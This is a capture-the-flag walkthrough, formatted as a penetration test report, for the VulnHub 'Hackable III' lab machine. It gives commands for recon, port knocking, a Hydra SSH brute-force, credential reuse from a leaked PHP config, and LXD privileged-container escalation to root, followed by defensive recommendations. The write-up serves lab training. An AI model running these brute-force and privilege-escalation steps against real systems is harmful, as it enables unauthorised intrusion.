Hackable III

Professional Penetration Testing Report

Target	VulnHub — Hackable III
Target IP	10.10.10.6
Assessment Type	Controlled CTF / Lab Environment
Focus Areas	Reconnaissance • Web Enumeration • Credential Access • Privilege Escalation

This report documents the complete attack path described in the supplied write-up, from host discovery through root-level compromise.

Target IP: 10.10.10.6

1. Host Discovery

```
sudo netdiscover -i vboxnet0 -r 10.10.10.0/24
```

Used netdiscover to identify live hosts on the network, revealing the target IP: `10.10.10.6`.

2. Full Nmap Scan

```
sudo nmap -Pn -p- -T4 -sV -sC 10.10.10.6 | tee scan.log
```

Results showed two open ports:

- 22/tcp — SSH (filtered)
- 80/tcp — HTTP: Apache/2.4.46 (Ubuntu)

The scan also revealed a `robots.txt` disallow entry for `/config`.

3. Web Enumeration

Checking robots.txt and the config page

```
curl -s http://10.10.10.6/robots.txt
curl -s http://10.10.10.6/config/
```

Reviewing the homepage source code

```
curl -s http://10.10.10.6/
```

Found a key HTML comment:

```
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the bos
```

This revealed:

- Username: `jubiscleudo`
- A clear hint of Port Knocking
- A hint about an important `.jpg` file

Directory brute-forcing

```
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .txt -e -q -t 50 -u ht
```

Discovered directories: `css`, `js`, `config`, `backup`, `imagens`, `login_page`.

Gathering the port-knocking sequence

Inside `config`, found `1.txt` encoded in base64:

```
curl -s http://10.10.10.6/config/1.txt
echo "<content>" | base64 -d
```

→ First port: 10000

Inside `css`, found `2.txt` encoded in Brainfuck, decoded via an online tool (dcode.fr):

→ Second port: 4444

The login page, after a failed login attempt, revealed a link to a `3.jpg` file. Downloaded it and used `steghide` to extract hidden data (no passphrase):

```
wget http://10.10.10.6/<path>/3.jpg
steghide extract -sf 3.jpg
```

→ Third port: 65535

Also found a backup directory containing `wordlist.txt`, downloaded for later brute-forcing:

```
wget http://10.10.10.6/backup/wordlist.txt
```

4. Performing Port Knocking

```
knock 10.10.10.6 10000 4444 65535
```

Verified SSH was now open:

```
nmap -p 22 10.10.10.6
```

5. SSH Brute-force

```
hydra -l jubiscleudo -P wordlist.txt -t 4 ssh://10.10.10.6
```

Result:

```
[22][ssh] host: 10.10.10.6   login: jubiscleudo   password: onlymy
```

6. Gaining User Access

```
ssh jubiscleudo@10.10.10.6
```

(Password: `onlymy`)

```
cat .user.txt
```

Retrieved the first flag (ASCII art).

7. Privilege Escalation — Finding Another User

```
cat /etc/passwd
```

Noticed another user with a real home directory and shell:

```
hackable_3:x:1000:1000:hackable_3:/home/hackable_3:/bin/bash
```

Searching for credentials in web files

```
cat /var/www/html/.backup_config.php
```

Found database credentials:

```
DB_USERNAME: hackable_3
DB_PASSWORD: TrOLLED_3
```

Switching to the new user

```
su hackable_3
```

(The same password worked as the system password: `TrOLLED_3`)

Checking privileges

```
id
```

Result:

```
uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
```

The user is a member of the lxd group — a well-known privilege escalation vector.

8. Exploiting LXD for Root Access

Initializing LXD

```
lxd init
```

Accepted default values for all prompts (clustering: no, new btrfs storage pool, new network bridge, no external API network access).

Attempting to pull an Alpine image (failed — unavailable on the remote server at the time)

Used Ubuntu as an alternative image:

```
lxc launch ubuntu:18.04 privesc -c security.privileged=true
```

`security.privileged=true` grants the container full host-level privileges.

Mounting the real host root filesystem inside the container

```
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

Entering the container

```
lxc exec privesc /bin/bash
whoami
```

Result: `root`

Since the container is privileged and has the real host's / mounted, this gives full root-level access to the host's filesystem.

9. Retrieving the Root Flag

```
cat /mnt/root/root/root.txt
```

Obtained the final flag, completing the full compromise from a regular user to root.

10. Summary

Stage	Technique Used
Recon	netdiscover, nmap
Web Enumeration	robots.txt, gobuster, source code review
Decoding	base64, brainfuck, steganography (steghide)
Firewall Bypass	Port Knocking
Credential Access	Hydra brute-force
User Pivot	Leaked credentials in a PHP config file (.backup_config.php)
Privilege Escalation	Exploiting LXD group membership to create a privileged container

Security Recommendations:

- Never leave sensitive information (usernames, hints) in HTML comments or exposed configuration files.
- Restrict `lxd` group membership to trusted administrators only — it is effectively equivalent to root access.
- Use strong, unique passwords across database and system accounts to avoid credential reuse.